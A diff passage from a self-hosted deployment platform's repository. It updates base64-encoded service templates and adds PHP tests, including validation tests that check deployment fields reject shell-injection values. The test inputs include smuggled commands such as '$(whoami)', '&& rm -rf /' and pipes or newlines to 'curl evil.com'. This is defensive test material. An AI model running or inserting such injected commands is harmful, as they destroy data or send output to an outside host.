aW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK",
"tags": [
"form",
"builder",
@ -1965,7 +1965,7 @@
"category": "productivity",
"logo": "svgs/heyform.svg",
"minversion": "0.0.0",
"port": "8000"
"port": "9157"
},
"homarr": {
"documentation": "https://homarr.dev?utm_source=coolify.io",
@ -2041,6 +2041,21 @@
"minversion": "0.0.0",
"port": "80"
},
"imgcompress": {
"documentation": "https://imgcompress.karimzouine.com?utm_source=coolify.io",
"slogan": "Offline image compression, conversion, and AI background removal for Docker homelabs.",
"compose": "c2VydmljZXM6CiAgaW1nY29tcHJlc3M6CiAgICBpbWFnZTogJ2thcmltejEvaW1nY29tcHJlc3M6MC42LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fSU1HQ09NUFJFU1NfNTAwMAogICAgICAtICdESVNBQkxFX0xPR089JHtESVNBQkxFX0xPR086LWZhbHNlfScKICAgICAgLSAnRElTQUJMRV9TVE9SQUdFX01BTkFHRU1FTlQ9JHtESVNBQkxFX1NUT1JBR0VfTUFOQUdFTUVOVDotZmFsc2V9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjUwMDAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMK",
"tags": [
"compress",
"photo",
"server",
"metadata"
],
"category": "media",
"logo": "svgs/imgcompress.png",
"minversion": "0.0.0",
"port": "5000"
},
"immich": {
"documentation": "https://immich.app/docs/overview/introduction?utm_source=coolify.io",
"slogan": "Self-hosted photo and video management solution.",
@ -2417,6 +2432,19 @@
"minversion": "0.0.0",
"port": "3000"
},
"librespeed": {
"documentation": "https://github.com/librespeed/speedtest?utm_source=coolify.io",
"slogan": "Self-hosted lightweight Speed Test.",
"compose": "c2VydmljZXM6CiAgbGlicmVzcGVlZDoKICAgIGNvbnRhaW5lcl9uYW1lOiBsaWJyZXNwZWVkCiAgICBpbWFnZTogJ2doY3IuaW8vbGlicmVzcGVlZC9zcGVlZHRlc3Q6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0xJQlJFU1BFRURfODIKICAgICAgLSBNT0RFPXN0YW5kYWxvbmUKICAgICAgLSBURUxFTUVUUlk9ZmFsc2UKICAgICAgLSBESVNUQU5DRT1rbQogICAgICAtIFdFQlBPUlQ9ODIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnY3VybCAxMjcuMC4wLjE6ODIgfHwgZXhpdCAxJwogICAgICB0aW1lb3V0OiAxcwogICAgICBpbnRlcnZhbDogMW0wcwogICAgICByZXRyaWVzOiAxCg==",
"tags": [
"speedtest",
"internet-speed"
],
"category": "devtools",
"logo": "svgs/librespeed.png",
"minversion": "0.0.0",
"port": "82"
},
"libretranslate": {
"documentation": "https://libretranslate.com/docs/?utm_source=coolify.io",
"slogan": "Free and open-source machine translation API, entirely self-hosted.",
@ -4099,7 +4127,7 @@
"seaweedfs": {
"documentation": "https://github.com/seaweedfs/seaweedfs?utm_source=coolify.io",
"slogan": "SeaweedFS is a simple and highly scalable distributed file system. Compatible with S3, with an admin web interface.",
"compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1MzXzgzMzMKICAgICAgLSAnQVdTX0FDQ0VTU19LRVlfSUQ9JHtTRVJWSUNFX1VTRVJfUzN9JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1MzfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3NlYXdlZWRmcy1zMy1kYXRhOi9kYXRhJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgdGFyZ2V0OiAvYmFzZS1jb25maWcuanNvbgogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiaWRlbnRpdGllc1wiOiBbXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYW5vbnltb3VzXCIsXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIlJlYWRcIlxuICAgICAgXVxuICAgIH0sXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYWRtaW5cIixcbiAgICAgIFwiY3JlZGVudGlhbHNcIjogW1xuICAgICAgICB7XG4gICAgICAgICAgXCJhY2Nlc3NLZXlcIjogXCJlbnY6QVdTX0FDQ0VTU19LRVlfSURcIixcbiAgICAgICAgICBcInNlY3JldEtleVwiOiBcImVudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVlcIlxuICAgICAgICB9XG4gICAgICBdLFxuICAgICAgXCJhY3Rpb25zXCI6IFtcbiAgICAgICAgXCJBZG1pblwiLFxuICAgICAgICBcIlJlYWRcIixcbiAgICAgICAgXCJSZWFkQWNwXCIsXG4gICAgICAgIFwiTGlzdFwiLFxuICAgICAgICBcIlRhZ2dpbmdcIixcbiAgICAgICAgXCJXcml0ZVwiLFxuICAgICAgICBcIldyaXRlQWNwXCJcbiAgICAgIF1cbiAgICB9XG4gIF1cbn1cbiIKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyAnXFxcbnNlZCBcInMvZW52OkFXU19BQ0NFU1NfS0VZX0lELyRBV1NfQUNDRVNTX0tFWV9JRC9nXCIgL2Jhc2UtY29uZmlnLmpzb24gPiAvYmFzZTEtY29uZmlnLmpzb247IFxcXG5zZWQgXCJzL2VudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVkvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9nXCIgL2Jhc2UxLWNvbmZpZy5qc29uID4gL2NvbmZpZy5qc29uOyBcXFxud2VlZCBzZXJ2ZXIgLWRpcj0vZGF0YSAtbWFzdGVyLnBvcnQ9OTMzMyAtczMgLXMzLnBvcnQ9ODMzMyAtczMuY29uZmlnPS9jb25maWcuanNvblxcXG4nXG4iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6ODMzMzsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHNlYXdlZWRmcy1hZG1pbjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0FETUlOXzIzNjQ2CiAgICAgIC0gJ1NFQVdFRURfVVNFUl9BRE1JTj0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ1NFQVdFRURfUEFTU1dPUkRfQURNSU49JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYWRtaW4KICAgICAgLSAnLW1hc3Rlcj1zZWF3ZWVkZnMtbWFzdGVyOjkzMzMnCiAgICAgIC0gJy1hZG1pblVzZXI9JHtTRUFXRUVEX1VTRVJfQURNSU59JwogICAgICAtICctYWRtaW5QYXNzd29yZD0ke1NFQVdFRURfUEFTU1dPUkRfQURNSU59JwogICAgICAtICctcG9ydD0yMzY0NicKICAgICAgLSAnLWRhdGFEaXI9L2RhdGEnCiAgICB2b2x1bWVzOgogICAgICAtICdzZWF3ZWVkZnMtYWRtaW4tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDoyMzY0NjsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQo=",
"compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1MzXzgzMzMKICAgICAgLSAnQVdTX0FDQ0VTU19LRVlfSUQ9JHtTRVJWSUNFX1VTRVJfUzN9JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1MzfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3NlYXdlZWRmcy1zMy1kYXRhOi9kYXRhJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgdGFyZ2V0OiAvYmFzZS1jb25maWcuanNvbgogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiaWRlbnRpdGllc1wiOiBbXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYW5vbnltb3VzXCIsXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIlJlYWRcIlxuICAgICAgXVxuICAgIH0sXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYWRtaW5cIixcbiAgICAgIFwiY3JlZGVudGlhbHNcIjogW1xuICAgICAgICB7XG4gICAgICAgICAgXCJhY2Nlc3NLZXlcIjogXCJlbnY6QVdTX0FDQ0VTU19LRVlfSURcIixcbiAgICAgICAgICBcInNlY3JldEtleVwiOiBcImVudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVlcIlxuICAgICAgICB9XG4gICAgICBdLFxuICAgICAgXCJhY3Rpb25zXCI6IFtcbiAgICAgICAgXCJBZG1pblwiLFxuICAgICAgICBcIlJlYWRcIixcbiAgICAgICAgXCJSZWFkQWNwXCIsXG4gICAgICAgIFwiTGlzdFwiLFxuICAgICAgICBcIlRhZ2dpbmdcIixcbiAgICAgICAgXCJXcml0ZVwiLFxuICAgICAgICBcIldyaXRlQWNwXCJcbiAgICAgIF1cbiAgICB9XG4gIF1cbn1cbiIKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyAnXFxcbnNlZCBcInMvZW52OkFXU19BQ0NFU1NfS0VZX0lELyRBV1NfQUNDRVNTX0tFWV9JRC9nXCIgL2Jhc2UtY29uZmlnLmpzb24gPiAvYmFzZTEtY29uZmlnLmpzb247IFxcXG5zZWQgXCJzL2VudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVkvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9nXCIgL2Jhc2UxLWNvbmZpZy5qc29uID4gL2NvbmZpZy5qc29uOyBcXFxud2VlZCBzZXJ2ZXIgLWRpcj0vZGF0YSAtbWFzdGVyLnBvcnQ9OTMzMyAtczMgLXMzLnBvcnQ9ODMzMyAtczMuY29uZmlnPS9jb25maWcuanNvblxcXG4nXG4iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6ODMzMzsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHNlYXdlZWRmcy1hZG1pbjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0FETUlOXzIzNjQ2CiAgICAgIC0gJ1NFQVdFRURfVVNFUl9BRE1JTj0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ1NFQVdFRURfUEFTU1dPUkRfQURNSU49JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYWRtaW4KICAgICAgLSAnLW1hc3Rlcj1zZWF3ZWVkZnMtbWFzdGVyOjkzMzMnCiAgICAgIC0gJy1hZG1pblVzZXI9JHtTRUFXRUVEX1VTRVJfQURNSU59JwogICAgICAtICctYWRtaW5QYXNzd29yZD0ke1NFQVdFRURfUEFTU1dPUkRfQURNSU59JwogICAgICAtICctcG9ydD0yMzY0NicKICAgICAgLSAnLWRhdGFEaXI9L2RhdGEnCiAgICB2b2x1bWVzOgogICAgICAtICdzZWF3ZWVkZnMtYWRtaW4tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDoyMzY0NjsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQo=",
"tags": [
"object",
"storage",

View file

@ -236,6 +236,369 @@
});
});
describe('dockerfile_target_build validation', function () {
test('rejects shell metacharacters in dockerfile_target_build', function () {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_target_build' => 'production; echo pwned'],
['dockerfile_target_build' => $rules['dockerfile_target_build']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects command substitution in dockerfile_target_build', function () {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_target_build' => 'builder$(whoami)'],
['dockerfile_target_build' => $rules['dockerfile_target_build']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects ampersand injection in dockerfile_target_build', function () {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_target_build' => 'stage && env'],
['dockerfile_target_build' => $rules['dockerfile_target_build']]
);
expect($validator->fails())->toBeTrue();
});
test('allows valid target names', function ($target) {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_target_build' => $target],
['dockerfile_target_build' => $rules['dockerfile_target_build']]
);
expect($validator->fails())->toBeFalse();
})->with(['production', 'build-stage', 'stage.final', 'my_target', 'v2']);
test('runtime validates dockerfile_target_build', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
// Test that validateShellSafeCommand is also available as a pattern
$pattern = \App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN;
expect(preg_match($pattern, 'production'))->toBe(1);
expect(preg_match($pattern, 'build; env'))->toBe(0);
expect(preg_match($pattern, 'target`whoami`'))->toBe(0);
});
});
describe('base_directory validation', function () {
test('rejects shell metacharacters in base_directory', function () {
$rules = sharedDataApplications();
$validator = validator(
['base_directory' => '/src; echo pwned'],
['base_directory' => $rules['base_directory']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects command substitution in base_directory', function () {
$rules = sharedDataApplications();
$validator = validator(
['base_directory' => '/dir$(whoami)'],
['base_directory' => $rules['base_directory']]
);
expect($validator->fails())->toBeTrue();
});
test('allows valid base directories', function ($dir) {
$rules = sharedDataApplications();
$validator = validator(
['base_directory' => $dir],
['base_directory' => $rules['base_directory']]
);
expect($validator->fails())->toBeFalse();
})->with(['/', '/src', '/backend/app', '/packages/@scope/app']);
test('runtime validates base_directory via validatePathField', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/src; echo pwned', 'base_directory'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
expect($method->invoke($instance, '/src', 'base_directory'))
->toBe('/src');
});
});
describe('docker_compose_custom_command validation', function () {
test('rejects semicolon injection in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => 'docker compose up; echo pwned'],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects pipe injection in docker_compose_custom_build_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_build_command' => 'docker compose build | curl evil.com'],
['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects ampersand chaining in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => 'docker compose up && rm -rf /'],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects command substitution in docker_compose_custom_build_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_build_command' => 'docker compose build $(whoami)'],
['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
);
expect($validator->fails())->toBeTrue();
});
test('allows valid docker compose commands', function ($cmd) {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => $cmd],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeFalse();
})->with([
'docker compose build',
'docker compose up -d --build',
'docker compose -f custom.yml build --no-cache',
]);
test('rejects backslash in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => 'docker compose up \\n curl evil.com'],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects single quotes in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => "docker compose up -d --build 'malicious'"],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects double quotes in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => 'docker compose up -d --build "malicious"'],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects newline injection in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => "docker compose up\ncurl evil.com"],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects carriage return injection in docker_compose_custom_build_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_build_command' => "docker compose build\rcurl evil.com"],
['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
);
expect($validator->fails())->toBeTrue();
});
test('runtime validates docker compose commands', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validateShellSafeCommand');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, 'docker compose up; echo pwned', 'docker_compose_custom_start_command'))
->toThrow(RuntimeException::class, 'contains forbidden shell characters');
expect(fn () => $method->invoke($instance, "docker compose up\ncurl evil.com", 'docker_compose_custom_start_command'))
->toThrow(RuntimeException::class, 'contains forbidden shell characters');
expect($method->invoke($instance, 'docker compose up -d --build', 'docker_compose_custom_start_command'))
->toBe('docker compose up -d --build');
});
});
describe('custom_docker_run_options validation', function () {
test('rejects semicolon injection in custom_docker_run_options', function () {
$rules = sharedDataApplications();
$validator = validator(
['custom_docker_run_options' => '--cap-add=NET_ADMIN; echo pwned'],
['custom_docker_run_options' => $rules['custom_docker_run_options']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects command substitution in custom_docker_run_options', function () {
$rules = sharedDataApplications();
$validator = validator(
['custom_docker_run_options' => '--hostname=$(whoami)'],
['custom_docker_run_options' => $rules['custom_docker_run_options']]
);
expect($validator->fails())->toBeTrue();
});
test('allows valid docker run options', function ($opts) {
$rules = sharedDataApplications();
$validator = validator(
['custom_docker_run_options' => $opts],
['custom_docker_run_options' => $rules['custom_docker_run_options']]
);
expect($validator->fails())->toBeFalse();
})->with([
'--cap-add=NET_ADMIN --cap-add=NET_RAW',
'--privileged --init',
'--memory=512m --cpus=2',
]);
});
describe('container name validation', function () {
test('rejects shell injection in container name', function () {
$rules = sharedDataApplications();
$validator = validator(
['post_deployment_command_container' => 'my-container; echo pwned'],
['post_deployment_command_container' => $rules['post_deployment_command_container']]
);
expect($validator->fails())->toBeTrue();
});
test('allows valid container names', function ($name) {
$rules = sharedDataApplications();
$validator = validator(
['post_deployment_command_container' => $name],
['post_deployment_command_container' => $rules['post_deployment_command_container']]
);
expect($validator->fails())->toBeFalse();
})->with(['my-app', 'nginx_proxy', 'web.server', 'app123']);
test('runtime validates container names', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validateContainerName');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, 'container; echo pwned'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
expect($method->invoke($instance, 'my-app'))
->toBe('my-app');
});
});
describe('dockerfile_target_build rules survive array_merge in controller', function () {
test('dockerfile_target_build safe regex is not overridden by local rules', function () {
$sharedRules = sharedDataApplications();
// Simulate what ApplicationsController does: array_merge(shared, local)
$localRules = [
'name' => 'string|max:255',
'docker_compose_domains' => 'array|nullable',
];
$merged = array_merge($sharedRules, $localRules);
expect($merged)->toHaveKey('dockerfile_target_build');
expect($merged['dockerfile_target_build'])->toBeArray();
expect($merged['dockerfile_target_build'])->toContain('regex:'.\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN);
});
});
describe('docker_compose_custom_command rules survive array_merge in controller', function () {
test('docker_compose_custom_start_command safe regex is not overridden by local rules', function () {
$sharedRules = sharedDataApplications();
// Simulate what ApplicationsController does: array_merge(shared, local)
// After our fix, local no longer contains docker_compose_custom_start_command,
// so the shared regex rule must survive
$localRules = [
'name' => 'string|max:255',
'docker_compose_domains' => 'array|nullable',
];
$merged = array_merge($sharedRules, $localRules);
expect($merged['docker_compose_custom_start_command'])->toBeArray();
expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
});
test('docker_compose_custom_build_command safe regex is not overridden by local rules', function () {
$sharedRules = sharedDataApplications();
$localRules = [
'name' => 'string|max:255',
'docker_compose_domains' => 'array|nullable',
];
$merged = array_merge($sharedRules, $localRules);
expect($merged['docker_compose_custom_build_command'])->toBeArray();
expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
});
});
describe('API route middleware for deploy actions', function () {
test('application start route requires deploy ability', function () {
$routes = app('router')->getRoutes();

View file

@ -1,6 +1,10 @@
<?php
use App\Jobs\DatabaseBackupJob;
use App\Models\S3Storage;
use App\Models\ScheduledDatabaseBackup;
use App\Models\ScheduledDatabaseBackupExecution;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Schema;
@ -35,3 +39,108 @@
expect($casts)->toHaveKey('s3_storage_deleted');
expect($casts['s3_storage_deleted'])->toBe('boolean');
});
test('upload_to_s3 throws exception and disables s3 when storage is null', function () {
$backup = ScheduledDatabaseBackup::create([
'frequency' => '0 0 * * *',
'save_s3' => true,
's3_storage_id' => 99999,
'database_type' => 'App\Models\StandalonePostgresql',
'database_id' => 1,
'team_id' => Team::factory()->create()->id,
]);
$job = new DatabaseBackupJob($backup);
$reflection = new ReflectionClass($job);
$s3Property = $reflection->getProperty('s3');
$s3Property->setValue($job, null);
$method = $reflection->getMethod('upload_to_s3');
expect(fn () => $method->invoke($job))
->toThrow(Exception::class, 'S3 storage configuration is missing or has been deleted');
$backup->refresh();
expect($backup->save_s3)->toBeFalsy();
expect($backup->s3_storage_id)->toBeNull();
});
test('deleting s3 storage disables s3 on linked backups', function () {
$team = Team::factory()->create();
$s3 = S3Storage::create([
'name' => 'Test S3',
'region' => 'us-east-1',
'key' => 'test-key',
'secret' => 'test-secret',
'bucket' => 'test-bucket',
'endpoint' => 'https://s3.example.com',
'team_id' => $team->id,
]);
$backup1 = ScheduledDatabaseBackup::create([
'frequency' => '0 0 * * *',
'save_s3' => true,
's3_storage_id' => $s3->id,
'database_type' => 'App\Models\StandalonePostgresql',
'database_id' => 1,
'team_id' => $team->id,
]);
$backup2 = ScheduledDatabaseBackup::create([
'frequency' => '0 0 * * *',
'save_s3' => true,
's3_storage_id' => $s3->id,
'database_type' => 'App\Models\StandaloneMysql',
'database_id' => 2,
'team_id' => $team->id,
]);
// Unrelated backup should not be affected
$unrelatedBackup = ScheduledDatabaseBackup::create([
'frequency' => '0 0 * * *',
'save_s3' => true,
's3_storage_id' => null,
'database_type' => 'App\Models\StandalonePostgresql',
'database_id' => 3,
'team_id' => $team->id,
]);
$s3->delete();
$backup1->refresh();
$backup2->refresh();
$unrelatedBackup->refresh();
expect($backup1->save_s3)->toBeFalsy();
expect($backup1->s3_storage_id)->toBeNull();
expect($backup2->save_s3)->toBeFalsy();
expect($backup2->s3_storage_id)->toBeNull();
expect($unrelatedBackup->save_s3)->toBeTruthy();
});
test('s3 storage has scheduled backups relationship', function () {
$team = Team::factory()->create();
$s3 = S3Storage::create([
'name' => 'Test S3',
'region' => 'us-east-1',
'key' => 'test-key',
'secret' => 'test-secret',
'bucket' => 'test-bucket',
'endpoint' => 'https://s3.example.com',
'team_id' => $team->id,
]);
ScheduledDatabaseBackup::create([
'frequency' => '0 0 * * *',
'save_s3' => true,
's3_storage_id' => $s3->id,
'database_type' => 'App\Models\StandalonePostgresql',
'database_id' => 1,
'team_id' => $team->id,
]);
expect($s3->scheduledBackups()->count())->toBe(1);
});

View file

@ -0,0 +1,346 @@
<?php
use App\Models\Environment;
use App\Models\EnvironmentVariable;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\StandalonePostgresql;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::updateOrCreate(['id' => 0]);
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
$this->token = $this->user->createToken('test-token', ['*']);
$this->bearerToken = $this->token->plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
function createDatabase($context): StandalonePostgresql
{
return StandalonePostgresql::create([
'name' => 'test-postgres',
'image' => 'postgres:15-alpine',
'postgres_user' => 'postgres',
'postgres_password' => 'password',
'postgres_db' => 'postgres',
'environment_id' => $context->environment->id,
'destination_id' => $context->destination->id,
'destination_type' => $context->destination->getMorphClass(),
]);
}
describe('GET /api/v1/databases/{uuid}/envs', function () {
test('lists environment variables for a database', function () {
$database = createDatabase($this);
EnvironmentVariable::create([
'key' => 'CUSTOM_VAR',
'value' => 'custom_value',
'resourceable_type' => StandalonePostgresql::class,
'resourceable_id' => $database->id,
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->getJson("/api/v1/databases/{$database->uuid}/envs");
$response->assertStatus(200);
$response->assertJsonFragment(['key' => 'CUSTOM_VAR']);
});
test('returns empty array when no environment variables exist', function () {
$database = createDatabase($this);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->getJson("/api/v1/databases/{$database->uuid}/envs");
$response->assertStatus(200);
$response->assertJson([]);
});
test('returns 404 for non-existent database', function () {
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->getJson('/api/v1/databases/non-existent-uuid/envs');
$response->assertStatus(404);
});
});
describe('POST /api/v1/databases/{uuid}/envs', function () {
test('creates an environment variable', function () {
$database = createDatabase($this);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson("/api/v1/databases/{$database->uuid}/envs", [
'key' => 'NEW_VAR',
'value' => 'new_value',
]);
$response->assertStatus(201);
$env = EnvironmentVariable::where('key', 'NEW_VAR')
->where('resourceable_id', $database->id)
->where('resourceable_type', StandalonePostgresql::class)
->first();
expect($env)->not->toBeNull();
expect($env->value)->toBe('new_value');
});
test('creates an environment variable with comment', function () {
$database = createDatabase($this);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson("/api/v1/databases/{$database->uuid}/envs", [
'key' => 'COMMENTED_VAR',
'value' => 'some_value',
'comment' => 'This is a test comment',
]);
$response->assertStatus(201);
$env = EnvironmentVariable::where('key', 'COMMENTED_VAR')
->where('resourceable_id', $database->id)
->first();
expect($env->comment)->toBe('This is a test comment');
});
test('returns 409 when environment variable already exists', function () {
$database = createDatabase($this);
EnvironmentVariable::create([
'key' => 'EXISTING_VAR',
'value' => 'existing_value',
